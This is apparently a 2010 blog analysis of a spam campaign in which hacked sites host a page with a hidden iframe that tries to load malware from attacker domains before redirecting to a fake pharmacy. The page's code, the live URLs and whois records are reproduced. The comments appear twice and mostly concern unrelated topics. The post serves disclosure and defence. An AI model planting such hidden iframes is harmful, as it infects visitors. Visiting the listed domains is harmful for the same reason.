Computer Malware in 4 seconds

One of my email inboxes lately has been flooded with spam for phony “Canadian pharmacy” sites (does anyone actually believe that scam? Seriously?) And when I say “flooded,” I mean “50-60 a day or so.”

These spam messages come in two varieties. One is standard straight-ahead spam: an image, sometimes in the email and sometimes loaded remotely loaded from the spam site, that advertises cheap prices on Viagra, and a Web link to the spam pharmacy site itself.

The other variety is different. It’s invariably a message claiming to be a bounced email notification, a greeting card notification, or something along those lines, with an attached HTML file. The HTML file, if it is open, redirects to some poor schmuck’s hacked Web site, where it displays the message

“Please, waiting….. 4 seconds”

Then after 4 seconds, it redirects to the same spam pharmacy sites as the first variety.

“Well, hmm,” I thought to myself, “that’s odd. Why is the redirector waiting for four seconds?”

So I looked at some of the redirector pages, and the answer seems to be “Because the spammers are now shitting where they eat.”


Spammers have used computer viruses and malware for years. That’s nothing new. Most computer spam is sent through home Windows PCs that have been infected by viruses. The viruses install back-door remote control software and email server software on the infected PC; the spammers then take over the infected PC, without the owner knowing, and use it to send spam.

But generally speaking, in the past the spammers have not tried to use their fake pharmacy sites th spread malware. They have preferred to keep the malware and the phony medicine separate; they spread malware through one set of sites, and sell fake prescription meds through another.

Not any more.

The new system attempts to download computer malware onto the computers of people who respond to the spam. Here’s how it works:

Step 1: The spammers hack a poorly secured Web site. Often, these are Web sites run by very small companies, using outdated ecommerce software without security patches. I’ve also seen a whole bunch of these sites hosted on GoDaddy and The Planet; I don’t know if these ISPs are directly being attacked, but they seem to be hosting the bulk of the hacked sites.

Step 2: A file named “index3.html” is placed on the hacked Web site. This file looks like this:

PLEASE, WAITING…. 4 sec

<meta http-equiv=”refresh” content=”4;url=http://knewname.com” />

<iframe src=’http://panlip.ru:8080/index.php?pid=10′ width=’1′ height=’1′ style=’visibility: hidden;’></iframe><br>

Step 3: A spam email is created. The spam email has an attached HTML file that looks like this:

<meta http-equiv=”refresh” content=”0;url=http://designcomforttx.com/index3.html” />

*** WARNING *** WARNING *** WARNING ***
The URLs above and elsewhere in this post are live as of the time of this writing. They WILL attempt to download malware in an iFrame before redirecting to a spam pharmacy site. DO NOT attempt to visit these URLs if you don’t know what you’re doing!

Anyone who opens the HTML file attached to the spam email visits the hacked site, in this case designcomforttx.com. They stay on that site for 4 seconds while a hidden iFrame attempts to download a file from another site, in this case the Russian site panlip.ru, hosted by Tata Communications in India. After 4 seconds, the mark is redirected to a run-of-the-mill Badcow fake “Canadian” pharmacy page, in this case knewname.com, hosted in China.


I have not been able to determine what the iFrame does. On my machine, it downloads blank content. I’ve Googled some of the domains being used in these iFrames (there are several different domains being used in the attacks); some people have claimed that the attack domains examine the user’s browser, then attempt to download a PDF exploit or some other browser exploit if they detect a vulnerable browser configuration.


I’m seeing LOTS of these hacked Web sites, always with a file named “index3.html” and always with a hidden iFrame. The index3.html file always redirects to knewname.com but may first load the iFrame from one of many different sites.

A partial list of hacked sites, some of which are still active at the time of this writing and some of which are not, includes:

designcomforttx.com/index3.html
arenafence.ca/index3.html
powerchurchsoftware.com/index3.html
ektalimoservice.com/index3.html
madeinperu.net/index3.html
whitakermedical.com/index3.html
shaolinmonk.net/index3.html
eyesensations.com/index3.html
trendzmarket.com/index3.html
identigen.com/index3.html
yasetai.com/index3.html
highlandparkbuilders.com/index3.html
retreatsatstonefountain.com/index3.html
3iconstruction.com/index3.html

In each case, the “index3.html” file is virtually identical, with the only difference being the server it attempts to load the iFrame from. Attack domains I have seen used in the iFrames include:

http://panlip.ru:8080/index.php?pid=10
http://sheepbody.com:8080/index.php?pid=10
http://cafemack.com:8080/index.php?pid=10

whois panlip.ru

% By submitting a query to RIPN’s Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain: PANLIP.RU
nserver: ns1.dnsofthost.com.
nserver: ns2.dnsofthost.com.
nserver: ns3.dnsofthost.com.
nserver: ns4.dnsofthost.com.
state: REGISTERED, DELEGATED, VERIFIED
person: Private Person
phone: +7 472 2311731
e-mail: tips@freenetbox.ru
registrar: NAUNET-REG-RIPN
created: 2010.07.05
paid-till: 2011.07.05
source: TCI

whois sheepbody.com

Domain Name: SHEEPBODY.COM
Registrar: ONLINENIC, INC.
Whois Server: whois.onlinenic.com
Referral URL: http://www.OnlineNIC.com
Name Server: NS1.DNSOFTHOST.COM
Name Server: NS2.DNSOFTHOST.COM
Name Server: NS3.DNSOFTHOST.COM
Name Server: NS4.DNSOFTHOST.COM
Status: clientTransferProhibited
Updated Date: 07-jul-2010
Creation Date: 07-jul-2010
Expiration Date: 07-jul-2011

Registrant:
Anna Veprinceva es@qx8.ru +7.4957211411
Anna Veprinceva
ul.Kostromskaya d.4 kv.114
Moskva,Moskva,RU 127549

Registration Service Provider:
name: DNRegistrar.ru
tel: +7.4955041111
fax: +7.4955041111
web:http://www.dnregistrar.ru

whois cafemack.com

Domain Name: CAFEMACK.COM
Registrar: ONLINENIC, INC.
Whois Server: whois.onlinenic.com
Referral URL: http://www.OnlineNIC.com
Name Server: NS1.DNSOFTHOST.COM
Name Server: NS2.DNSOFTHOST.COM
Name Server: NS3.DNSOFTHOST.COM
Name Server: NS4.DNSOFTHOST.COM
Status: clientTransferProhibited
Updated Date: 07-jul-2010
Creation Date: 07-jul-2010
Expiration Date: 07-jul-2011

Registrant:
Alexander Ksalov soy@qx8.ru +7.4957888901
Alexander Ksalov
Izyumskaya ul. d.26 k.2 kv.54
Moskva,Moskva,RU 117042

Registration Service Provider:
name: DNRegistrar.ru
tel: +7.4955041111
fax: +7.4955041111
web:http://www.dnregistrar.ru

The payload site, knewname.com, is pixel-for-pixel identical to the other, more traditional pharmacy spam sites I’m seeing, such as superviagraonline.com. These sites are themselves virtually identical to, and use the same graphics as, other spam sites that places like the Spamtrackers wiki have connected to other Canadian Pharmacy spam (known Canadian Pharmacy spam site on left, knewname.com on right, click either thumbnail for a larger screen shot):

      

Conclusion: The Canadian Pharmacy spammers are directly involved in the writing and/or distribution of malware themselves, and have now begun an experiment in which they attempt to infect their own customers with their malware.

96 thoughts on “Computer Malware in 4 seconds

  1. I don’t get any download either.

    What interests me is that despite the source code for sheepbody.com:8080/index.php?pid=10 being completely blank, the page does display a title in my browser’s address bar. The title looks like some kind of hash:
    Cnmp68tnisua4dge5ahng3i6u66v9hv8j

    • Wow, that’s weird. I don’t even get that; on my system (Safari 4/Mac OS X 10.5) I get zero bytes transferred, not even a title. Using wget I also get zero bytes transferred:

      wget sheepbody.com:8080/index.php?pid=10
      –2010-07-12 22:57:47– http://sheepbody.com:8080/index.php?pid=10
      Resolving sheepbody.com… 94.23.34.93, 94.23.60.106, 94.23.224.221, …
      Connecting to sheepbody.com|94.23.34.93|:8080… connected.
      HTTP request sent, awaiting response… 200 OK
      Length: 0 [text/html]
      Saving to: `index.php?pid=10′

      [ <=> ] 0 –.-K/s in 0s

      2010-07-12 22:57:47 (0.00 B/s) – `index.php?pid=10′ saved [0/0]

      This definitely seems to support the notion that the behavior of the iFrame changes depending on factors such as the browser and/or platform, I think. What browser/OS are you using when you get that title?

      • I’m seeing it in Firefox but not Seamonkey. The title appears in the browser navigation bar when you first enter the URL. It doesn’t appear on the chrome for the browser window after you enter the URL, nor on a tab if you’re using tabbed browsing. As I said, there is absolutely nothing in the source code of the window for me, either, so I don’t know how Firefox decided the page had a title in the first place.

  2. I don’t get any download either.

    What interests me is that despite the source code for sheepbody.com:8080/index.php?pid=10 being completely blank, the page does display a title in my browser’s address bar. The title looks like some kind of hash:
    Cnmp68tnisua4dge5ahng3i6u66v9hv8j

  3. Wow, that’s weird. I don’t even get that; on my system (Safari 4/Mac OS X 10.5) I get zero bytes transferred, not even a title. Using wget I also get zero bytes transferred:

    wget sheepbody.com:8080/index.php?pid=10
    –2010-07-12 22:57:47– http://sheepbody.com:8080/index.php?pid=10
    Resolving sheepbody.com… 94.23.34.93, 94.23.60.106, 94.23.224.221, …
    Connecting to sheepbody.com|94.23.34.93|:8080… connected.
    HTTP request sent, awaiting response… 200 OK
    Length: 0 [text/html]
    Saving to: `index.php?pid=10′

    [ <=> ] 0 –.-K/s in 0s

    2010-07-12 22:57:47 (0.00 B/s) – `index.php?pid=10′ saved [0/0]

    This definitely seems to support the notion that the behavior of the iFrame changes depending on factors such as the browser and/or platform, I think. What browser/OS are you using when you get that title?

  4. I’m seeing it in Firefox but not Seamonkey. The title appears in the browser navigation bar when you first enter the URL. It doesn’t appear on the chrome for the browser window after you enter the URL, nor on a tab if you’re using tabbed browsing. As I said, there is absolutely nothing in the source code of the window for me, either, so I don’t know how Firefox decided the page had a title in the first place.

  5. Chinese registrar Onlinenic Inc. has let a rogue Russian in as an affiliate registrar. They didn’t do much checking

    Registration Service Provider:
    name: DNRegistrar.ru
    tel: +7.4955041111 (< a modem or fax answers this number) fax: +7.4955041111 web:http://www.dnregistrar.ru (< No A record exists, so no web site) Onlinenic should terminate this affiliate, who has no ICANN accreditation. Then Onlinenic should trace every one of their registrations and suspend them. You can contact them and provide them with a link to this discussion via email to:icann@onlinenic.com and to:cs-us@onlinenic.com

  6. Chinese registrar Onlinenic Inc. has let a rogue Russian in as an affiliate registrar. They didn’t do much checking

    Registration Service Provider:
    name: DNRegistrar.ru
    tel: +7.4955041111 (< a modem or fax answers this number) fax: +7.4955041111 web:http://www.dnregistrar.ru (< No A record exists, so no web site) Onlinenic should terminate this affiliate, who has no ICANN accreditation. Then Onlinenic should trace every one of their registrations and suspend them. You can contact them and provide them with a link to this discussion via email to:icann@onlinenic.com and to:cs-us@onlinenic.com

  7. More photos

    I don’t use Livejournal much, so if you would like to see more of the photos from this (and other trips) start at http://photo.fx4.net/blog . Feel free to poke around there

    — his friend Scott (who seems to be getting the blame here)

  8. More photos

    I don’t use Livejournal much, so if you would like to see more of the photos from this (and other trips) start at http://photo.fx4.net/blog . Feel free to poke around there

    — his friend Scott (who seems to be getting the blame here)

  9. Okay, maybe this one won’t get flagged as a “suspicious comment”:

    Calm down, please. After typing skepticalscience in your URL bar and pressing Ctrl+Enter, stick an “/argument.php” at the end of it. The Ice Age thing– along with the 164 other false arguments on that page alone– has been debunked, hardcore. #11 alone is particularly telling regarding things you only think you know.

    If by “Warmist” you mean “someone who agrees with the global scientific consensus, and not what oil company scientists or right-wing nonscientific publications say about it,” then yeah– I’m a friggin’ Warmist, all right. And proud to be one.

  10. Okay, maybe this one won’t get flagged as a “suspicious comment”:

    Calm down, please. After typing skepticalscience in your URL bar and pressing Ctrl+Enter, stick an “/argument.php” at the end of it. The Ice Age thing– along with the 164 other false arguments on that page alone– has been debunked, hardcore. #11 alone is particularly telling regarding things you only think you know.

    If by “Warmist” you mean “someone who agrees with the global scientific consensus, and not what oil company scientists or right-wing nonscientific publications say about it,” then yeah– I’m a friggin’ Warmist, all right. And proud to be one.

  11. Re: latex

    Liquid latex is available from a lot of different places. Costuming shops and theater supply places will have it; you an also find it online here.

  12. Re: latex

    Liquid latex is available from a lot of different places. Costuming shops and theater supply places will have it; you an also find it online here.

  13. Shame about the smell. With a room the size of an aircraft hangar, you could shot quite the orgy scene.

    It’s just that the smell of dead mice doesn’t really do it for me, you know?

  14. Shame about the smell. With a room the size of an aircraft hangar, you could shot quite the orgy scene.

    It’s just that the smell of dead mice doesn’t really do it for me, you know?

  15. Darwin actually used the phrase “survival of the fittest” quite a bit in The Origin of Species (which I just finished reading all the way through for the first time). But you’re right, of course.

    Another issue with Fermi’s paradox is how much energy a civilization has to put into a signal before it can be detected by an arbitrary receiver, say, 100 light-years away. Can we expect a civilization 1000 years into the Atomic Age to have the technology to send such a signal? I don’t know the answer—someone probably has a better answer than I could make.

  16. Darwin actually used the phrase “survival of the fittest” quite a bit in The Origin of Species (which I just finished reading all the way through for the first time). But you’re right, of course.

    Another issue with Fermi’s paradox is how much energy a civilization has to put into a signal before it can be detected by an arbitrary receiver, say, 100 light-years away. Can we expect a civilization 1000 years into the Atomic Age to have the technology to send such a signal? I don’t know the answer—someone probably has a better answer than I could make.

  17. I haven’t read that. It looks interesting, though.

    Gender is a bit of a sticky wicket all on its own. On the one hand, things like gender dysmorphia and observable differences in the wiring of men’s brains and women’s brains point to the notion that there are biological differences. On the other hand, brains are plastic, so it’s hard to say how significant the differences we see in MRI scans are, and a lot of folks want to try to ascribe to biology what seem clearly (to me) matters of social programming. (And don’t even get me started on the evolutionary psychology folks who use naive misunderstanding of things like reproductive strategies to justify cultural norms by saying “men are hardwired to want to have sex with lots of people, women are hardwired to want commitment”–an idea that sounds plausible enough to laypeople that it gets a lot of currency even though it’s total rubbish, back to front).

  18. I haven’t read that. It looks interesting, though.

    Gender is a bit of a sticky wicket all on its own. On the one hand, things like gender dysmorphia and observable differences in the wiring of men’s brains and women’s brains point to the notion that there are biological differences. On the other hand, brains are plastic, so it’s hard to say how significant the differences we see in MRI scans are, and a lot of folks want to try to ascribe to biology what seem clearly (to me) matters of social programming. (And don’t even get me started on the evolutionary psychology folks who use naive misunderstanding of things like reproductive strategies to justify cultural norms by saying “men are hardwired to want to have sex with lots of people, women are hardwired to want commitment”–an idea that sounds plausible enough to laypeople that it gets a lot of currency even though it’s total rubbish, back to front).

  19. Decentralization of power (photovoltaics or small windmills) does have the practical advantage of letting us get away with a lower-capacity main grid. That makes it cheaper than it first looks, although not really for any one person looking to buy equipment.

    Other than that, photovoltaics don’t seem to be remotely as good as thermal solar. Nuclear is good, too, but we have to stop storing the waste on-site at the plants itself. Glassifying and dropping it into ocean subduction zones might be the only option that gets past NIMBY objections.

  20. Decentralization of power (photovoltaics or small windmills) does have the practical advantage of letting us get away with a lower-capacity main grid. That makes it cheaper than it first looks, although not really for any one person looking to buy equipment.

    Other than that, photovoltaics don’t seem to be remotely as good as thermal solar. Nuclear is good, too, but we have to stop storing the waste on-site at the plants itself. Glassifying and dropping it into ocean subduction zones might be the only option that gets past NIMBY objections.

  21. A few points. As for backing the excess, using lead or LiIon would be cost prohibitive, I agree. These chemistries simply don’t last long enough. Nickle Iron (NiFe), on the other hand, are cheap, reliable and durable.

    These batteries have more internal resistance than LA, but more energy storage capacity. As a result they work well in low peak load situations (like back up hardware). Most every ancient brand of all-electric cars were NiFe powered. Use as SLA (starter-lighting-accessory) batteries proved their demise; their higher internal resistance led to electrolyte loss when prolonged cranking was required. (That’s the reason most SLA are LA batteries and are rated at Max Cranking Amps; the last thing they’ll be used for is trickle discharges.)

    Edison NiFe batteries were nicknamed “Ironclad” over a 100 years ago, given their reliability and method of manufacture. Off-grid farms and homes used to have banks of these to back up the wind turbines. If we bring decentralization to bear (called by many distributed generation), bringing back NiFes will be useful, along with developing a minute-to-minute energy market utilities can use to balance loads on the fly.

    Ah, but the most beautiful thing about the NiFes has to be their long life. Restorers of old electrics (like the Detroit Electric and Baker Electric) have found old cars parked in barns with their batteries able to take and hold a charge 80 years later.

    Let’s also remember that solar cell manufacture is new, relatively. It hasn’t been cost effective because so many other technologies are so darned cheap . . . at least the fuel for them. The energy extracted from coal peaked in the mid-90s (though we are still increasing the amount burned just because the stuff left is such low-energy crap), so that cost is bound to rise. At the same time, some solar panel makers have dropped the sale price below $1/watt. (This kind of competition is the reason Solydra went under; they couldn’t keep up with the market on price.)

    Subsidizing any industry is historically done to promote development of that industry. When done properly, it does exactly that. The US has a bad track record of this, I admit; that’s because (with the exception of autos and oil) we do it wrong here. We tend to support the industries that show the most payoff promise and ignore those that take time to nurture to maturity. Many other industries, however, would not exist in their form today were it not for the financial intervention of sponsoring governments, including steam power and wool in Britain, and more recently wind power in Denmark and solar in Germany.

    For the grid, the ability to synchronize small producers has only been technically possible for a few decades (thanks to grid-intertie inverters) so it’s not surprising the utilities are wary about having the currently small number grow.

    Which brings us to the economics. Washington State got burned in the ’70s with a grand nuclear development plan that became the largest bond default in US history. Out of seven plants, only one got built to completion; the taxpayers and bondholders got stuck with the rest. This might be why I am still hesitant to invest whole hog on plants that only produced after billions are spent, as opposed to spending in small increments through tax payer subsidies. Once bitten, twice shy.

    Currently, I can get $.54/kilowatt hour over and above the utility rate from the state (if I install in state-built panels and inverters). The rate payer doesn’t subsidize this; the state tax payer does, so the burden on the poor is less than you state.

    Opinions are cheap, however, be they yours or mine. I would suggest looking into Germany’s program with solar. They note that the program is as cost-effective as their nuclear plants, the reason they tried the 1999 subsidy program in the first place. They’re up over 10% solar since starting. If there are any major issues with load balancing and banking, they would know all about it. Last I heard, though, their subsidy program is continuing, and their economy seems to be doing very well.

  22. A few points. As for backing the excess, using lead or LiIon would be cost prohibitive, I agree. These chemistries simply don’t last long enough. Nickle Iron (NiFe), on the other hand, are cheap, reliable and durable.

    These batteries have more internal resistance than LA, but more energy storage capacity. As a result they work well in low peak load situations (like back up hardware). Most every ancient brand of all-electric cars were NiFe powered. Use as SLA (starter-lighting-accessory) batteries proved their demise; their higher internal resistance led to electrolyte loss when prolonged cranking was required. (That’s the reason most SLA are LA batteries and are rated at Max Cranking Amps; the last thing they’ll be used for is trickle discharges.)

    Edison NiFe batteries were nicknamed “Ironclad” over a 100 years ago, given their reliability and method of manufacture. Off-grid farms and homes used to have banks of these to back up the wind turbines. If we bring decentralization to bear (called by many distributed generation), bringing back NiFes will be useful, along with developing a minute-to-minute energy market utilities can use to balance loads on the fly.

    Ah, but the most beautiful thing about the NiFes has to be their long life. Restorers of old electrics (like the Detroit Electric and Baker Electric) have found old cars parked in barns with their batteries able to take and hold a charge 80 years later.

    Let’s also remember that solar cell manufacture is new, relatively. It hasn’t been cost effective because so many other technologies are so darned cheap . . . at least the fuel for them. The energy extracted from coal peaked in the mid-90s (though we are still increasing the amount burned just because the stuff left is such low-energy crap), so that cost is bound to rise. At the same time, some solar panel makers have dropped the sale price below $1/watt. (This kind of competition is the reason Solydra went under; they couldn’t keep up with the market on price.)

    Subsidizing any industry is historically done to promote development of that industry. When done properly, it does exactly that. The US has a bad track record of this, I admit; that’s because (with the exception of autos and oil) we do it wrong here. We tend to support the industries that show the most payoff promise and ignore those that take time to nurture to maturity. Many other industries, however, would not exist in their form today were it not for the financial intervention of sponsoring governments, including steam power and wool in Britain, and more recently wind power in Denmark and solar in Germany.

    For the grid, the ability to synchronize small producers has only been technically possible for a few decades (thanks to grid-intertie inverters) so it’s not surprising the utilities are wary about having the currently small number grow.

    Which brings us to the economics. Washington State got burned in the ’70s with a grand nuclear development plan that became the largest bond default in US history. Out of seven plants, only one got built to completion; the taxpayers and bondholders got stuck with the rest. This might be why I am still hesitant to invest whole hog on plants that only produced after billions are spent, as opposed to spending in small increments through tax payer subsidies. Once bitten, twice shy.

    Currently, I can get $.54/kilowatt hour over and above the utility rate from the state (if I install in state-built panels and inverters). The rate payer doesn’t subsidize this; the state tax payer does, so the burden on the poor is less than you state.

    Opinions are cheap, however, be they yours or mine. I would suggest looking into Germany’s program with solar. They note that the program is as cost-effective as their nuclear plants, the reason they tried the 1999 subsidy program in the first place. They’re up over 10% solar since starting. If there are any major issues with load balancing and banking, they would know all about it. Last I heard, though, their subsidy program is continuing, and their economy seems to be doing very well.

  23. Couple of points. First, this’s specifically by MS Office, so they’re focusing on a business/student-friendly view & product focus, rather than a general market/consumer view.

    Second, disruptive technologies appeal to a VERY limited market segment, which would include most of your readers but NOT the market in GENERAL. Something I’m learning as I take my years of experience in marketing & apply them specifically to tech products, as I’ve been doing for the last year, is that whether it be hardware or software if you stray too far outside the “norm” of what people expect & can accept it turns the masses off. Even with, for instance, a website design in a particular market niche where people hate the market leader’s “tired old look,” if you give them a vastly updated site built on their preferences & requests but it strays too far from what they’ve been bitching about for years you get tons of “It’s too confusing, I don’t understand it, it’s unusable,” etc.

    So when you’re selling tech NOW to a mass audience, especially for a product like MS Office that is aimed at more conservative ,markets (students aren’t necessarily conservative but the parents paying for it are) you have to couch it in terms THEY understand… go too far off in to disruptive tech, new ideas, or speculative theory & you’ve lost the people whose money you need.

  24. Couple of points. First, this’s specifically by MS Office, so they’re focusing on a business/student-friendly view & product focus, rather than a general market/consumer view.

    Second, disruptive technologies appeal to a VERY limited market segment, which would include most of your readers but NOT the market in GENERAL. Something I’m learning as I take my years of experience in marketing & apply them specifically to tech products, as I’ve been doing for the last year, is that whether it be hardware or software if you stray too far outside the “norm” of what people expect & can accept it turns the masses off. Even with, for instance, a website design in a particular market niche where people hate the market leader’s “tired old look,” if you give them a vastly updated site built on their preferences & requests but it strays too far from what they’ve been bitching about for years you get tons of “It’s too confusing, I don’t understand it, it’s unusable,” etc.

    So when you’re selling tech NOW to a mass audience, especially for a product like MS Office that is aimed at more conservative ,markets (students aren’t necessarily conservative but the parents paying for it are) you have to couch it in terms THEY understand… go too far off in to disruptive tech, new ideas, or speculative theory & you’ve lost the people whose money you need.

  25. Sounds as though the ‘user interface’ has changed a lot since I was there as a kid, I-don’t-want-to-think-how-many-years-ago. If they were doing the Jesse James theme then, it sure doesn’t stick in my mind as a memorable part of it. I certainly don’t remember seeing anyone like ‘lovely Clair’ at that time!

  26. Sounds as though the ‘user interface’ has changed a lot since I was there as a kid, I-don’t-want-to-think-how-many-years-ago. If they were doing the Jesse James theme then, it sure doesn’t stick in my mind as a memorable part of it. I certainly don’t remember seeing anyone like ‘lovely Clair’ at that time!

  27. They’ve been sued three times; each time, they put up another sign telling people how that person got hurt and saying, “don’t do that!” They’ve admitted that it’s hard, and expensive, to insure. But they also benefited from the late Bob Cassily’s amazing “nobody can stop me” personal force field; it’s reasonable to wonder how well the place will hold up without him.

  28. They’ve been sued three times; each time, they put up another sign telling people how that person got hurt and saying, “don’t do that!” They’ve admitted that it’s hard, and expensive, to insure. But they also benefited from the late Bob Cassily’s amazing “nobody can stop me” personal force field; it’s reasonable to wonder how well the place will hold up without him.

  29. “We would not say that an inventor, a creative person who applies her talents to solving practical problems, should do so merely for the love of inventing, nor that “true” inventors would never charge for their inventions; and most of us would probably find it quite laughable if someone were to say that an inventor who sold her invention was an oppressor, using her innate privilege to deny other people of things that can benefit their lives unless they pay her.”

    I’ve never patented any invention of mine. Nor have I copyrighted any piece of writing, photograph, or any other form of art.

    Look up “KV Pharmaceuticals” and “Makena” to see exactly what sort of exploitation patents can create. Thanks to one of those government-granted monopolies, a drug that used to cost $10/dose jumped to $1500/dose. Remember, this drug was sold profitably at $10/dose, so they were hoping to make over $1490 in pure profit per dose, due to nothing more than the stroke of a bureaucrat’s pen.

    After massive public complaint, the company dropped it to ~$700/dose. Awful generous of them, right?

  30. “We would not say that an inventor, a creative person who applies her talents to solving practical problems, should do so merely for the love of inventing, nor that “true” inventors would never charge for their inventions; and most of us would probably find it quite laughable if someone were to say that an inventor who sold her invention was an oppressor, using her innate privilege to deny other people of things that can benefit their lives unless they pay her.”

    I’ve never patented any invention of mine. Nor have I copyrighted any piece of writing, photograph, or any other form of art.

    Look up “KV Pharmaceuticals” and “Makena” to see exactly what sort of exploitation patents can create. Thanks to one of those government-granted monopolies, a drug that used to cost $10/dose jumped to $1500/dose. Remember, this drug was sold profitably at $10/dose, so they were hoping to make over $1490 in pure profit per dose, due to nothing more than the stroke of a bureaucrat’s pen.

    After massive public complaint, the company dropped it to ~$700/dose. Awful generous of them, right?

  31. Also – quite aside from the seriously creepy, scary bear – ‘define the rest of your life’? So any kids who have already ‘cuddled’ with their girlfriend/boyfriend are being told they’re doomed forever?

    These people seriously think this is going to be positive in ANY way at all?

    *boggles*

  32. Also – quite aside from the seriously creepy, scary bear – ‘define the rest of your life’? So any kids who have already ‘cuddled’ with their girlfriend/boyfriend are being told they’re doomed forever?

    These people seriously think this is going to be positive in ANY way at all?

    *boggles*

  33. A little Devil’s Advocate

    One argument I hear often though is that newcomer C is informed of the already put in place rules by the original couple, and if they don’t like them, or come to not like them, well that’s for them to then decide if they wish to stay and abide or go…’they knew the rules from the get-go’

    How do you see the above fitting in with the idea that the third party is not taken into consideration of the rules decided upon?

    (As a side: Way back when I started poly it was rules for *everything*! I’d say it took about 2-3 years of different relationships to learn that the less rules and the more expressed boundaries and knowledge of my partners and how they act/react has led to a virtually rule free life of relationships for me. The only “rule” is to communicate communicate communicate – especially of ones boundaries)

  34. A little Devil’s Advocate

    One argument I hear often though is that newcomer C is informed of the already put in place rules by the original couple, and if they don’t like them, or come to not like them, well that’s for them to then decide if they wish to stay and abide or go…’they knew the rules from the get-go’

    How do you see the above fitting in with the idea that the third party is not taken into consideration of the rules decided upon?

    (As a side: Way back when I started poly it was rules for *everything*! I’d say it took about 2-3 years of different relationships to learn that the less rules and the more expressed boundaries and knowledge of my partners and how they act/react has led to a virtually rule free life of relationships for me. The only “rule” is to communicate communicate communicate – especially of ones boundaries)

  35. Adorable just doesn’t cover them. This is one of those situation where no currenly existing word is sufficient and a new one-time-use word needs to be invented.

  36. Adorable just doesn’t cover them. This is one of those situation where no currenly existing word is sufficient and a new one-time-use word needs to be invented.

  37. “True artists do it for the love of art, not for money,” setting up a false dichotomy that ignores the fact that creative people also have to eat.

    Very true.

    It is unquestionably true that, to a large extent, the copyright problems they face are a monster of their own making, the result of hanging on to antiquated business models that simply no longer apply. It is also true beyond a shadow of a doubt that both of them, the RIAA in particular, have long histories of treating the actual creators they employ very poorly indeed, giving their artists only tiny dribs and drabs of money while executives profit obscenely on their work. All of these things are true.

    FUCKING HORSESHIT! 🙂
    The only creators/artists that get treated poorly are the ones who don’t know any better and don’t read the fine print on their contracts. For a VERY enlightening view on both of those statements, listen to someone who knows it very well.

    http://www.youtube.com/watch?v=JrMUR1RhTjU

  38. “True artists do it for the love of art, not for money,” setting up a false dichotomy that ignores the fact that creative people also have to eat.

    Very true.

    It is unquestionably true that, to a large extent, the copyright problems they face are a monster of their own making, the result of hanging on to antiquated business models that simply no longer apply. It is also true beyond a shadow of a doubt that both of them, the RIAA in particular, have long histories of treating the actual creators they employ very poorly indeed, giving their artists only tiny dribs and drabs of money while executives profit obscenely on their work. All of these things are true.

    FUCKING HORSESHIT! 🙂
    The only creators/artists that get treated poorly are the ones who don’t know any better and don’t read the fine print on their contracts. For a VERY enlightening view on both of those statements, listen to someone who knows it very well.

    http://www.youtube.com/watch?v=JrMUR1RhTjU

  39. I fail to see how this is correct since you put down “We” for the poly and “I” for the Mono.

    Then you’ve missed the point of the analogy. The thing both of these have in common is that a new person coming into the relationship is handed a list of expectations; the relationship has already been plotted out in advance, and the new person isn’t given a voice in how it unfolds.

    This is perhaps the most common thing I see couples looking for a third doing. They will sit down and discuss with each other what role that third will play in their lives, how she (and it’s almost always a she they’re looking for) will be integrated into their family, how she will interact with them, the parameters of the relationship she will build with each of them…

    …and then they join poly mailing lists and say “We’ve been looking and looking for our third, and we can’t find her! We talked to poly people and they don’t want to date us! It must mean that there are no TRUE poly people out there.”

    I know–no exaggeration–one couple that’s been looking for their third for *more than 40 years*. It has never occurred to them that the fact they have already sat down and decided *exactly* what “their” third will do, how the relationship she will be, and what niche she will fill might have something to do with their lack of success. Instead, they just say “You’re a One True Wayer! You don’t respect how other people do things differently!” whenever anyone attempts to talk to them about it (and I’ve seen people try).

    40-some years later, they *still* haven’t figured it out, and they still don’t have a third.

    It’s like one of my sweeties says: There’s no one right way to do poly, but man, there sure are a lot of wrong ones! If a person, or a couple, keeps trying and trying and trying and trying and trying and trying and can’t seem to manage getting a poly relationship to work, then maybe, just maybe, the problem isn’t that the whole poly community is filled with one-true-wayers who just want to slag their approach. Maybe, just maybe, there might be a possibility (however small or remote) that their approach isn’t likely to lead to success.

  40. I fail to see how this is correct since you put down “We” for the poly and “I” for the Mono.

    Then you’ve missed the point of the analogy. The thing both of these have in common is that a new person coming into the relationship is handed a list of expectations; the relationship has already been plotted out in advance, and the new person isn’t given a voice in how it unfolds.

    This is perhaps the most common thing I see couples looking for a third doing. They will sit down and discuss with each other what role that third will play in their lives, how she (and it’s almost always a she they’re looking for) will be integrated into their family, how she will interact with them, the parameters of the relationship she will build with each of them…

    …and then they join poly mailing lists and say “We’ve been looking and looking for our third, and we can’t find her! We talked to poly people and they don’t want to date us! It must mean that there are no TRUE poly people out there.”

    I know–no exaggeration–one couple that’s been looking for their third for *more than 40 years*. It has never occurred to them that the fact they have already sat down and decided *exactly* what “their” third will do, how the relationship she will be, and what niche she will fill might have something to do with their lack of success. Instead, they just say “You’re a One True Wayer! You don’t respect how other people do things differently!” whenever anyone attempts to talk to them about it (and I’ve seen people try).

    40-some years later, they *still* haven’t figured it out, and they still don’t have a third.

    It’s like one of my sweeties says: There’s no one right way to do poly, but man, there sure are a lot of wrong ones! If a person, or a couple, keeps trying and trying and trying and trying and trying and trying and can’t seem to manage getting a poly relationship to work, then maybe, just maybe, the problem isn’t that the whole poly community is filled with one-true-wayers who just want to slag their approach. Maybe, just maybe, there might be a possibility (however small or remote) that their approach isn’t likely to lead to success.

  41. I read an interesting article about moral psychology a few years ago. Rather than try to explain it, I’ll just jump to this interesting conclusion near the end:

    Recently, Jonathan Haidt, along with Jesse Graham and Craig Joseph, has suggested an expansion of Shweder’s three domains into five foundations for morality. Haidt, Graham and Joseph propose that the world’s diverse moralities are built on top of five psychological foundations, each primed to detect and react emotionally to transgressions or violations of different moral concerns: harm to, and care, of individuals; justice and fairness; in-group loyalty; respect for authority/tradition; and issues of purity and sanctity.

    Although we’re all equipped with these psychological foundations, the ones that are actually built on varies across and within cultures. Using questionnaires, Haidt and Joseph have found that self-identified liberals in the US typically draw on the harm/care and justice/fairness in deciding moral issues. By contrast, religious and social conservatives generally take all five foundations to be relevant to their moral judgements. So when liberals and conservatives disagree, at stake is not just whose rights should be protected and how, but what counts as a legitimate moral concern in the first place. It is little wonder people so frequently talk past each other in the emotionally charged atmosphere of moral disputes.

  42. I read an interesting article about moral psychology a few years ago. Rather than try to explain it, I’ll just jump to this interesting conclusion near the end:

